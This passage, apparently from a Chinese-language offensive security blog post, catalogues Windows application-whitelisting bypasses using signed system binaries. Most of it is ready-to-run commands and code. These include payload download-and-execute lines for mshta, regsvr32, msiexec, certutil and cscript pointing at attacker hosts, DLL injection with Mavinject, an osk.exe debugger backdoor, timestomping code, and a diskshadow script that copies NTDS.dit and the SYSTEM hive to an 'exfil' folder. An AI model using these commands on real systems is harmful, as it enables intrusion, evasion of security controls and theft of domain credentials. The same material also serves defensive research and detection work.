Microsoft.CodeAnalysis.CSharp.dll
Microsoft.CodeAnalysis.CSharp.Scripting.dll
Microsoft.CodeAnalysis.dll
Microsoft.CodeAnalysis.Scripting.dll
System.AppContext.dll
System.Collections.Immutable.dll
System.IO.FileSystem.dll
System.IO.FileSystem.Primitives.dll
System.Reflection.Metadata.dll 

Relevant Link: 

https://www.anquanke.com/post/id/84660
https://zhuanlan.zhihu.com/p/25059752

4)rcsi.exe

rcsi.exe bypass.csx
# Use embedded C# within the csx script to execute the code.

5)Tracker.exe

tracker.exe来自于SDK中,包含微软的数字签名。tracker.exe来自于SDK中,包含微软的数字签名。

Tracker.exe [选项] [@跟踪器响应文件] /c [命令行]
 /d 文件.dll                : 使用跟踪 dll 文件.dll 启动进程。(默认值: 通过 PATH 提供的 FileTracker.dll)
 /i[f] <路径>               :  用于跟踪日志输出的中间目录。(使用 /if 可立即将路径展开为完整路径)(默认值: 所跟踪进程中的当前目录)
 /o                         : 对每个文件执行跟踪操作
 /m                         : 在跟踪日志中包含缺少的文件,即在进程关闭之前删除的那些文件
 /u                         : 不从跟踪日志中删除重复的文件操作
 /t                         : 跟踪命令行(将展开使用“@文件名”语法指定的响应文件)
 /a                         : 启用扩展跟踪: GetFileAttributes、GetFileAttributesEx
 /e                         : 启用扩展跟踪: GetFileAttributes、GetFileAttributesEx、RemoveDirectory、CreateDirectory
 /k                         : 在跟踪日志文件名中保留完整的工具链
 /r 文件 1;文件 2;..;文件 n : 正在跟踪的主要根输入文件(默认值: 无)
 /c [命令行]                : 要跟踪的命令(必须是最后一个参数)
 /?                         : 本帮助文本

cmd下运行:

Tracker.exe /d test.dll /c cmd.exe

test.dll包含默认的导出函数即可,

#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL,L"testexport", L"testexport",MB_OK);
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

这个技巧有如下特点:

  • tracker.exe包含微软数字签名,可绕过应用程序白名单的限制
  • tracker.exe可以在启动进程的同时加载dll

但是如果只想通过tracker.exe加载dll的话,存在以下问题:

  • 选择不存在或是权限不够的进程,无法加载dll。但是,可以通过一个特殊的进程来解决这个问题,如svchost.exe,那么在加载dll后,进程svchost.exe可以自动退出,这就实现了通过tracker.exe加载dll

6)windbg、cdb

WinDbg是一个Microsoft Windows内核和用户模式调试实用程序。Microsoft控制台调试器(CDB)CDB.exe也是用户模式调试器。这两个实用程序都包含在Windows软件开发工具包中,可以作为独立工具使用。它们通常用于软件开发和逆向工程,在典型的Windows系统中可能找不到。

WinDbg.exe和cdb.exe二进制文件都由Microsoft签名。攻击者可以使用WinDbg.exe和cdb.exe代理执行任意代码,以绕过不考虑执行这些实用程序的应用程序白名单策略。 

File path:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe

执行指令如下,

cdb -pn myapp.exe -c "command1;command2"

cdb.exe -cf x64_calc.wds -o notepad.exe
# Execute C# code located in the calc.wds file

Relevant Link: 

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Cdb.exe.md

7)certutil

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。

# Download and save 7zip to disk in the current folder.
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe

# Download and save 7zip to disk in the current folder.
certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe

# Download and save a PS1 file to an Alternate Data Stream (ADS).
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

# Command to encode a file using Base64
certutil -encode inputFileName encodedOutputFileName
 
# Command to decode a Base64 encoded file.
certutil -decode encodedInputFileName decodedOutputFileName 

Relevant Link: 

http://www.ggsec.cn/certutil.html 

8)Fsi.exe

fsi.exe is REPL (Read, EValuate, Print Loop) for F#, that is, it allows to interactively use F#.

fsi.exe c:\folder\d.fscript
# Use fsi.exe to run unsigned F# code.

Relevant Link: 

https://renenyffenegger.ch/notes/Windows/dirs/Program-Files-x86/Microsoft-Visual-Studio/version/edition/Common7/IDE/CommonExtensions/Microsoft/FSharp/fsi_exe 
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Fsi.exe.md

0x5:时间戳伪装(Timestomp) 

1. 原理介绍

系统中的每一个文件,都有着与时间有关的属性,如

  • 文件创建时间
  • 最后一次修改时间
  • 文件最后一次的访问时间等属性

为了使某些文件看起来更像是原本就存在于文件夹中,而不是后来新加入的,恶意软件通常会修改文件的时间戳,对于某些取证工具或者分析人员而言,经过调整文件时间与大部分已有文件一致,使得文件不会显得那么明显,从而能够逃避部分主机取证分析。例如,

  • 伪造PE文件编译时间
  • 将恶意软件创建时间修改为desktop.ini文件的时间戳
  • 将恶意软件创建时间修改为Kernel32.dll的文件时间等等

2. 攻击过程

在进行入侵分析的过程中,文件的时间戳也是判断文件来源及合法性的一个有利依据,通过将文件的时间戳改为和系统文件一致,或许可以干扰人工分析的视线,如下的代码演示了利用系统文件Kernel32.dll的时间戳来伪造任意文件的时间戳的过程。

bool change_time_usekernel32(TCHAR* file_path)
{
  bool ret = false;
  TCHAR sysdir[MAX_PATH];
  TCHAR kernel32_path[MAX_PATH];
  HANDLE kernel32_handle = INVALID_HANDLE_VALUE;
  HANDLE targetfile_handle = INVALID_HANDLE_VALUE;
  
  FILETIME create_time;
  FILETIME lastaccess_time;
  FILETIME lastwrite_time;

  //获取kernel32.dll模块的文件时间
  GetSystemDirectory(sysdir, MAX_PATH);
  wsprintf(kernel32_path, _TEXT("%s%s"), sysdir, _TEXT("\\kernel32.dll"));
  
  kernel32_handle = CreateFile(kernel32_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (kernel32_handle == INVALID_HANDLE_VALUE)
  {
    goto Error_Exit;
  }
  
  if(!GetFileTime(kernel32_handle, &create_time, &lastaccess_time, &lastwrite_time))
  {
    goto Error_Exit;
  }

  //重置目标文件的文件时间
  targetfile_handle = CreateFile(file_path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (targetfile_handle == INVALID_HANDLE_VALUE)
  {
    goto Error_Exit;
  }

  if (!SetFileTime(targetfile_handle, &create_time, &lastaccess_time, &lastwrite_time))
  {
    goto Error_Exit;
  }

  ret = true;

Error_Exit:
  if (targetfile_handle != INVALID_HANDLE_VALUE)
  {
    CloseHandle(targetfile_handle);
  }
  if (kernel32_handle != INVALID_HANDLE_VALUE)
  {
    CloseHandle(kernel32_handle);
  }
  return ret;
}

int _tmain(int argc, _TCHAR* argv[])
{
  change_time_usekernel32(_TEXT("test.txt"));

  return 0;
}
View Code

修改前后的文件时间如下:

如果将恶意文件放在系统目录,并伪装成Kernel32的时间戳,对于部分人工分析取证手段会具有一定迷惑性。 

0x6:篡改注册表(Modify Registry)

  • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\List
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Pniumj
  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System Enable LUA="0"
  • HKEY_CURRENT_USER\Software\DC3_FEXEC
  • HKCU\Software\Classes\Applications\rundll32.exe\shell\open
  • HKCU\Software\Microsoft\Office\
  • HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
  • SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Security
  • HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\

0x7:借助签名可信脚本执行代码(Signed Script Proxy Execution)

随着恶意的脚本文件不断增加,在某些系统环境中,管理人员可能使用白名单来阻止未签名的Windows Script Host(WSH)脚本文件运行,但是通过将恶意代码“注入”到Microsoft签名的脚本中,使用受信任证书签名的脚本代理执行恶意脚本文件,从而可以绕过系统中的签名验证和部分杀软的应用程序白名单验证绕过。

1. PubPrn代理脚本代码执行

Pubprn脚本的位置在system32的子目录中,原本是用于打印相关的工作。

'----------------------------------------------------------------------
'    pubprn.vbs - publish printers from a non Windows 2000 server into Windows 2000 DS
'    
'
'     Arguments are:-
'        server - format server
'        DS container - format "LDAP:\\CN=...,DC=...."
'
'
'    Copyright (c) Microsoft Corporation 1997
'   All Rights Reserved
'----------------------------------------------------------------------

'--- Begin Error Strings ---

Dim L_PubprnUsage1_text
Dim L_PubprnUsage2_text
Dim L_PubprnUsage3_text      
Dim L_PubprnUsage4_text      
Dim L_PubprnUsage5_text      
Dim L_PubprnUsage6_text      

Dim L_GetObjectError1_text
Dim L_GetObjectError2_text

Dim L_PublishError1_text
Dim L_PublishError2_text     
Dim L_PublishError3_text
Dim L_PublishSuccess1_text


L_PubprnUsage1_text      =   "用法: [cscript] pubprn.vbs server ""LDAP://OU=..,DC=..."""
L_PubprnUsage2_text      =   "       server 是 Windows 服务器名 (例如: Server) 或者 UNC 打印机名 (\\Server\Printer)"
L_PubprnUsage3_text      =   "       ""LDAP://CN=...,DC=..."" 是目标容器的 DS 路径"
L_PubprnUsage4_text      =   ""
L_PubprnUsage5_text      =   "例 1: pubprn.vbs MyServer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_PubprnUsage6_text      =   "例 2: pubprn.vbs \\MyServer\Printer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""

L_GetObjectError1_text   =   "错误: 路径"
L_GetObjectError2_text   =   " 没有找到。"
L_GetObjectError3_text   =   "错误: 无法访问"

L_PublishError1_text     =   "错误: Pubprn 无法公布打印机 -  "
L_PublishError2_text     =   " 因为运行 Windows 2000 或者以上版本。"
L_PublishError3_text     =   "公布打印机失败"
L_PublishError4_text     =   "错误: "
L_PublishSuccess1_text   =   "公布的打印机: "

'--- End Error Strings ---


set Args = Wscript.Arguments
if args.count < 2 then
    wscript.echo L_PubprnUsage1_text
    wscript.echo L_PubprnUsage2_text
    wscript.echo L_PubprnUsage3_text
    wscript.echo L_PubprnUsage4_text
    wscript.echo L_PubprnUsage5_text
    wscript.echo L_PubprnUsage6_text
    wscript.quit(1)
end if

ServerName= args(0)
Container = args(1)


on error resume next
Set PQContainer = GetObject(Container)

if err then
    wscript.echo L_GetObjectError1_text & Container & L_GetObjectError2_text
    wscript.quit(1)
end if
on error goto 0



if left(ServerName,1) = "\" then

    PublishPrinter ServerName, ServerName, Container

else

    on error resume next

    Set PrintServer = GetObject("WinNT://" & ServerName & ",computer")

    if err then
        wscript.echo L_GetObjectError3_text & ServerName & ": " & err.Description
        wscript.quit(1)
    end if

    on error goto 0


    For Each Printer In PrintServer
        if Printer.class = "PrintQueue" then PublishPrinter Printer.PrinterPath, ServerName, Container
    Next


end if




sub PublishPrinter(UNC, ServerName, Container)

    
    Set PQ = WScript.CreateObject("OlePrn.DSPrintQueue.1")

    PQ.UNCName = UNC
    PQ.Container = Container

    on error resume next

    PQ.Publish(2)

    if err then
        if err.number = -2147024772 then
            wscript.echo L_PublishError1_text & Chr(34) & ServerName & Chr(34) & L_PublishError2_text
            wscript.quit(1)
        else
            wscript.echo L_PublishError3_text & Chr(34) & UNC & Chr(34) & "."
            wscript.echo L_PublishError4_text & err.Description
        end if
    else
        wscript.echo L_PublishSuccess1_text & PQ.Path
    end if

    Set PQ = nothing

end sub
View Code

 

在其脚本中,68行的位置使用了来自参数中的内容,将该内容传递给GetObject()函数。

攻击者可以在此处指定网络文件以执行自定义的脚本文件。同时因为Windows系统中的PubPrn.vbs由Microsoft签名,恶意利用该脚本可以代理远程脚本文件的执行,以突破部分安全限制。

利用的命令如下:

cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.1.100/hi.png
cscript C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:http://192.168.1.100/hi.png

以下为打开计算器的远程脚本文件,

执行该命令,脚本得以执行弹出计算器,

 

Relevant Link:  

https://github.com/api0cradle/UltimateAppLockerByPassList 

2. Manage-bde.wsf

# Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.
set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf

# Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf 

0x8:Installutil

# Execute the target .NET DLL or EXE using the uninstall method.
InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

File path:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

0x9:Mshta

1. 原理介绍

Mshta.exe是执行Microsoft HTML应用程序(HTA)的实用程序。HTA文件的扩展名是.HTA。

.hta是一个独立的应用程序,使用与Internet Explorer相同的模型和技术执行,但不在浏览器中

攻击者可以使用mshta.exe(受信任的Windows实用程序)代理执行恶意Javascript或VBScript代码,包括本地内联脚本和远程url脚本,

  • 执行本地内联脚本
    • mshta vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
    • mshta.exe C:\poc\evilfile.hta
    • mshta about:"<script language = "vbscript" src="http://127.0.0.1/test.vbs"> document.write("This is my first VBScript!") </script>"
  • 执行远程url脚本
    • mshta http://webserver/payload.hta
    • mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();
    • mshta.exe http://webserver/payload.hta

由于mshta.exe在Internet Explorer的安全上下文之外执行,因此它也会绕过浏览器安全设置。 

Relevant Link:  

http://www.ggsec.cn/mshta-RegSvcsRegAsmBypass.html

0x10:签名二进制代理执行(Signed Binary Proxy Execution)

1. Presentationhost.exe 

Presentationhost.exe是一个内置的Windows可执行文件,用于运行XAML浏览器应用程序(即.xbap文件)。

默认在AppLocker白名单列表中,当管理员打开.xbap文件,它似乎是在IE中启动的应用程序,但代码实际上是在另一个进程(Presentationhost.exe)中运行,通常是在一个沙箱中以保护用户免受恶意代码的攻击。如果你熟悉Java Web Start文件(.jnlp),则xpabs的行为与其类似,只是这里IE启动的是Presentationhost.exe而不是Java.exe,编写的代码是c#而不是Java。

注意,xbap可以请求不同的权限级别。为了执行潜在的恶意操作,应用程序必须请求从文件位置(即本地文件系统或网络共享)打开XBAP时可以执行的非限制性权限。如果应用程序请求权限过多,则尝试通过HTTP或FTP打开xbap将失败。

如果你点击运行,你的默认浏览器将会打开.xbap文件。如果你的默认浏览器不是IE,那么你需要将file:/// URL从默认浏览器的地址栏复制到IE上打开。如果一切正常,你应该会收到如下警告消息:

要绕过默认的AppLocker规则,请将下列这些文件复制到锁定的计算机,然后双击.xbap文件。

  • powershell.exe
  • powershell.exe.manifest
  • powershell.pdb
  • powershell.xbap

如果你从网站下载该文件,它将无法运行,因为它将包含Web标记。你可以通过右键单击该文件,然后单击“Unblock(取消阻止)”复选框来删除Web标记(或者你也可以使用 PowerShell)。

如果你不想将文件复制到锁定的计算机上,你也可以从命令行使用file:/// URI 或 UNC路径来运行presentation host,例如

presentationhost.exe file:///ipAddressOrHostName/powershell.xbap

Relevant Link:   

https://www.freebuf.com/articles/system/188699.html 
https://github.com/jpginc/xbapAppWhitelistBypassPOC  

2. Ieexec.exe

ieexec.exe http://x.x.x.x:8080/bypass.exe
IEExec.exe  https://pastebin.com/raw/7JPiHRjL
# Executes the target XAML Browser Application (XBAP) file.

Relevant Link:  

https://lolbas-project.github.io/lolbas/Binaries/Ieexec/
https://pentestlab.blog/tag/ieexec/
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Ieexec.exe.md

3. InfDefaultInstall.exe

InfDefaultInstall.exe Infdefaultinstall.inf
# Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.

4. Mavinject.exe

Mavinject是一个合法的Windows组件,可以在任何正在运行的进程中使用,由于这是Windows上的一个常见组件,攻击者可以利用它来进行进程dll注入。

MavInject.exe 3110 /INJECTRUNNING c:\folder\evil.dll
# Inject evil.dll into a process with PID 3110.

Mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll"
# Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172.

 

Relevant Link:   

http://www.secist.com/archives/5912.html  
https://bbs.pediy.com/thread-223429.htm

5. Msdeploy.exe

msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="C:\Windows\System32\calc.exe & pause"
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\bypass.exe & pause"

6. msdt.exe

# Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE

# Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE

7. Msiexec.exe 

msiexec /q /i http://192.168.100.3/tmp/cmd.png
# Installs the target remote & renamed .MSI file silently.

msiexec /y "C:\folder\evil.dll"
# Calls DLLRegisterServer to register the target DLL.

msiexec /z "C:\folder\evil.dll"
# Calls DLLRegisterServer to un-register the target DLL.

8. Regsvr32.exe

Regsvr32是Windows系统中的一个命令行程序,用于在Windows系统上对象链接和嵌入控件的注册及卸载工作,而攻击者同样可以利用regsvr32来执行任意的二进制文件。

攻击者会利用regsvr32来代理代码执行,以避免触发安全工具的提示,regsvr32由Microsoft签名的文件,由于普通程序通常使用regsvr32进行正常操作,所以安全工具可能无法有效的区分regsvr32进程的执行以及由regsvr32加载的模块是否被恶意使用。

  • 通过Regsvr加载系统中的scrobj.dll,依靠其提供的com接口解析并执行sct脚本,从而绕过进程白名单限制,而执行恶意代码
    • regsvr32.exe /s /u /i:file.sct scrobj.dll
    • regsvr32.exe /s /i:http://192.168.xx.xx/download.txt scrobj.dll
    • 攻击者可以利用ActiveX并将自定义的Vb或JS嵌入在XML文件中,以进行任何类型的攻击,该文件可能是任意后缀名
  • Regsvr具有网络和代理功能,它允许具有普通特权的用户下载并执行远程服务器上托管的脚本。所有这些操作都是通过与操作系统一起安装的已签名Microsoft二进制文件完成的。由于脚本是远程托管的,并且由合法的Microsoft二进制文件运行,因此可以绕过一些因将regsvr列入白名单的安全软件的许多常规检测和阻止机制。这种技术的变种通常被称为“Squiblydoo”攻击
    • regsvr32.exe /s /n /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll 
regsvr32.exe /s /n /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll
# Execute the specified remote .SCT script with scrobj.dll

regsvr32.exe /s /u /i:file.sct scrobj.dll
# Execute the specified local .SCT script with scrobj.dll.

下面的示例代码会调用计算器并执行。

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>

9. CScript/WScript

# 执行UNC路径下的文件
cscript //E:jscript \\webdavserver\folder\payload.txt

# 通过echo写入vbs脚本,再通过cscript来执行
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> c:\windows\temp\d.vbs

C:\Users\Administrator>cscript c:\d.vbs http://reverse-tcp.xyz/443.exe c:\443.exe

10. Bitsadmin

bitsadmin /TRANSFER /DOWNLOAD http://download.sysinternals.com/files/PSTools.zip  E:\PSTools.zip
bitsadmin /TRANSFER /DOWNLOAD \\webdavserver\folder\payload.ps1  E:\payload.ps1
bitsadmin /TRANSFER /UPLOAD E:\payload.ps1 \\webdavserver\folder\payload.ps1 

11. debug

Windows debug 是一个系统自带的程序调试工具,他有一个功能可以将十六进制转化为可执行文件。

攻击者可以将需要上传的可执行文件转化成hex文件,通过echo命令写入目标系统中,最后通过debug将hex还原成可执行文件。

12. FTP  

# Executes the commands you put inside the text file.
echo open192.168.1.123 21 > ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo ftp >> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt 

Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt 

 

13. wmic 

# Execute calc from wmic
wmic.exe process call create calc

# Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.
wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"

# Execute evil.exe on the remote system.
wmic.exe /node:"192.168.0.1" process call create "evil.exe"

# Create a scheduled execution of C:\GoogleUpdate.exe to run at 9pm.
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"

# Create a volume shadow copy of NTDS.dit that can be copied.
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"
 
# Create a volume shadow copy of NTDS.dit that can be copied.
wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"

Executes JScript or VBScript embedded in the target remote XSL stylsheet.
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"

14. Pcalua

Windows程序兼容性助理(Program Compatibility Assistant)的一个组件,通过-a参数可以直接执行exe或者dll

# Open the target .EXE using the Program Compatibility Assistant.
pcalua.exe -a calc.exe

# Open the target .DLL file with the Program Compatibilty Assistant.
pcalua.exe -a \\server\payload.dll

# Open the target .CPL file with the Program Compatibility Assistant.
pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java

15. Winword

# Downloads payload from remote server
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

# Load dll file
winword.exe /l dllfile.dll

16. te.exe 

# Run COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file.
te.exe bypass.wsc

17. DFSVC

dfsvc.exe是用来检查应用程序是否已经安装并且是最新的,如果需要的话将应用程序下载到用户AppData中的ClickOnce文件夹,然后从当前位置(随着每次更新而改变)启动它。 

# Executes click-once-application from Url
rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
rundll32.exe dfshim.dll,ShOpenVerbApplication http://reverse-tcp.xyz/application/?param1=foo 

18. Runscripthelper.exe

runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test
# Execute the PowerShell script named test.txt.

19. Syncappvpublishingserver.exe

# Example command on how inject Powershell code into the process
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1')

Relevant Link:  

https://www.freebuf.com/articles/network/153034.html 

20. 利用winrm.vbs绕过应用程序白名单执行任意未签名代码

由于winrm.vbs(System32中已签名的Windows脚本)能够使用和执行受攻击者控制的XSL脚本,并且XSL脚本不受“WSH”限制,因此,导致攻击者可以执行任意的、未签名的代码。

当我们向winrm.vbs提供“-format:pretty”或“-format:text”选项时,它会从cscript.exe所在的目录中提取对应的WsmPty.xsl或WsmTxt.xsl文件。这就意味着,如果攻击者将cscript.exe复制到自己控制的恶意XSL所在的位置,就能实现执行任意未签名代码的目的。

攻击过程如下所示:

  • 将恶意WsmPty.xsl或WsmTxt.xsl投递到攻击者控制的位置,例如C:\BypassDir\WsmPty.xsl
    • mkdir C:\BypassDir
      copy C:\Windows\System32\cscript.exe C:\BypassDir\

    • <stylesheet
      xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
      xmlns:user="placeholder"
      version="1.0">
      <output method="text"></output>
       <ms:script implements-prefix="user" language="JScript">
       <![CDATA[
       var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
       ]]> </ms:script>
      </stylesheet>
  • 将cscript.exe(或wscript.exe)复制到同一位置,为的是通过winrm.vbs内的代码审计
  • 执行winrm.vbs,并通过“-format”开关指定“pretty”或“text”,具体取决于要投递的.XSL文件:WsmPty.xsl或WsmTxt.xsl
    • C:\BypassDir\cscript //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
    • C:\BypassDirr\cscript //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 /format:pretty

TTP如下:

# Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.
reg.exe import c:\path\to\Slmgr.reg & winrm quickconfig

# Execute winrm - requires registry changes to activate COM object
winrm quickconfig

# Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="calc.exe"} -r:http://127.0.0.1:5985

# Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\calc.exe"} -r:http://127.0.0.1:5985   \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://127.0.0.1:5985

# Bypass AWL solutions by copying and executing cscript.exe and malicious XSL documents from attacker controlled location
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
 
# Creates Cscript.exe as dir to bypass winrm validation that cscript is running. Requires that a xls file is planted.
mkdir %SystemDrive%\BypassDir\cscript.exe copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

21. Xwizard.exe

xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
# Xwizard.exe running a custom class that has been added to the registry.

Relevant Link:  

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/md/Winrm.vbs.md 
https://bugs.chromium.org/p/project-zero/issues/detail?id=1514
https://xz.aliyun.com/t/2444

22. Diskshadow.exe 

1)基本介绍

“DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下,DiskShadow使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。

除此之外,DiskShadow还提供了一种脚本编程模式。”,可以通过脚本编程的方式进行批量自动化的运维操作。
同时,DiskShadow的代码是由微软官方签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016中都包含了DiskShadow。默认情况下,DiskShadow所提供的卷影拷贝服务需要有高等级访问权限(UAC绕过),但是其中也有部分命令工具可以给非特权用户调用,这也让DiskShadow成为了攻击者实现命令执行、安全绕过以及持久化感染的一种强大工具。

2)DiskShadow命令执行

DiskShadow支持“交互式命令解释”和“脚本模式”,

 

 

type testdiskshadow.txt
exec c:\windows\system32\calc.exe

diskshadow.exe /s C:\inetpub\wwwroot\testdiskshadow.txt

 

 

跟Vshadow一样,我们这里需要注意的是,DiskShadow.exe是命令所生成的可执行程序的父进程。除此之外,DiskShadow将会一直运行下去,直到它的子进程终止执行。

下面讨论一下利用diskshadow实现更复杂的攻击,提取活动目录数据库,

我们假设我们已经成功入侵了一个活动目录域控制器(Win2k12),并且成功以高级用户权限在脚本模式下运行了DiskShadow。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

在我们的脚本中,我们创建了一个持久化卷影拷贝,这样我们就能够执行复制操作并捕捉到目标系统中的敏感文件了。通过监控目标逻辑驱动器,我们能够确定目标文件的拷贝路径,在删除我们的卷影拷贝之前,我们将把这个拷贝路径下的文件拷贝到“exfil”目录之中。
注意:我们还可以通过卷影设备名称/唯一标识符来拷贝出我们的目标文件,这种方法的隐蔽性比较高,但是我们还需要确保目标文件标签/UUID是正确的(通过网络侦察活动确定),否则我们的脚本将无法正常运行,这种技术在交互模式下的可行性更高。
除了活动目录数据库之外,我们还需要提取出SYSTEM注册表hive:

reg.exe save hklm\system c:\exfil\system.bak

